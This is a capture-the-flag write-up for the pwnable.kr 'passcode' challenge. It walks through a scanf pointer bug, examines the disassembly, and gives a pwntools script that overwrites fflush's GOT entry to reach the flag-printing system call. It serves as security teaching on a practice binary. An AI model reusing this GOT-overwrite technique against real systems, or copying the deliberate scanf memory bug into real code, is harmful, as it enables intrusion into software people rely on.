Pwnable.kr - Passcode: Write-up
Tags: security, writeup, ctf
Published: 2021-02-19 16:19:40

# Finding the problem

First let's look at the code that we have.

```c
int main()
{
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;
}
```

The `main()` function will call two other functions: `welcome()` and `login()`.

```c
void welcome()
{
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}
```

`welcome()` will get your name in a 100 bytes buffer and reprint it.

```c
void login()
{
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
	scanf("%d", passcode2);

	printf("checking...\n");
	if (passcode1 == 338150 && passcode2 == 13371337)
	{
		printf("Login OK!\n");
		system("/bin/cat flag");
	}
	else
	{
		printf("Login Failed!\n");
		exit(0);
	}
}
```

`login()` will ask you to enter two passcodes and if those are good, will display the flag.

When testing the application, we get a segmentation fault when test is called.

![Simple test and a segfault](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g4yrs8irb5pgapzogmil.png)

So there seems to be something wrong with the line:

```c
if (passcode1 == 338150 && passcode2 == 13371337)
```

When opening the code in my Neovim, I also have a warning on the `scanf` lines for `login()` that the format specifies `int *` but the argument is `int`. This means that instead of calling the address and getting the value from it, the code passes `passcode1` and `passcode2` as addresses. Which could be the reason of our segmentation fault.

# Debugging the binary

Let's open our debugger:

```sh
rz -d passcode
```

Let's look at `login()`:

![Assembly for the login function](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zwd5v1easgewoa5xardx.png)

We can see that the `passcode1` and `passcode2` are stored int32 variables. But the lines `cmp dword [var_10h], 0x528e6` and `cmp dword [var_ch], 0xcc07c9` will compare the addresses and not the value.

Now let's look at `welcome()`:

![Assembly for the welcome function](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sls1z0cd53fletladj99.png)

It is possible to see that on how the values are stored. In `welcome()`, the name you entered is stored in `var_70h` which is then called with `lea`.

In `login()`, no signs of `lea` but the variables are directly called with `mov`. So what's the difference? `lea` stands for "load effective address" while `mov` will only move an address to a register. This corroborates our theory that the variables are not seen as variables with a pointer but as addresses which leads us to the bug. Indeed, the code tries to load the address `passcode1` and `passcode2` which obviously do not exist.

# Exploit

How could we have access to the memory to run malicious payload? My first idea would be to put the payload when we are prompted with the name. But this variable is not called in `login()` which prevents us to get to that section. However, there is the `fflush()` command in `login()`. `fflush()` is a imported function, that means that it is loaded when the binary is started. This means that maybe we could hijack the code here (See [this](https://github.com/Naetw/CTF-pwn-tips)) and overwrite with our own payload. It would also work as `fflush()` has a `jmp` instruction.

So something like:

* Getting at the end of the buffer
* Setting the address of fflush to get the `jmp` (0x804a004) and getting the control or EIP.
* `jmp` to the system call printing the flag (0x080485ea)

I spent some time tricking the formats around until it worked. I am not sure why the second address must be in numerical and not hex, but eh... It worked. Also, it's important to have the second reception call as `recvall()` and not `recvline()` and the output we want is later on in the process. I spent days reviewing my exploit code and forgetting about that part. 

So here is the local exploit code: 

```python
from pwn import *

context.update(arch="i386", os="linux")
e = ELF("./passcode")

name = b"A" * 96
name += p32(0x804a004)
name += str.encode(str(0x080485d7))

p = e.process(level="error")
# header
print(p.recvline())
p.sendline(name)
print(p.recvall())
```

If you look online there are other exploitation solutions, notably one as a oneliner. But it only works with Python2 for some reason. I couldn't understand why. If you know about it, let me know in the comments!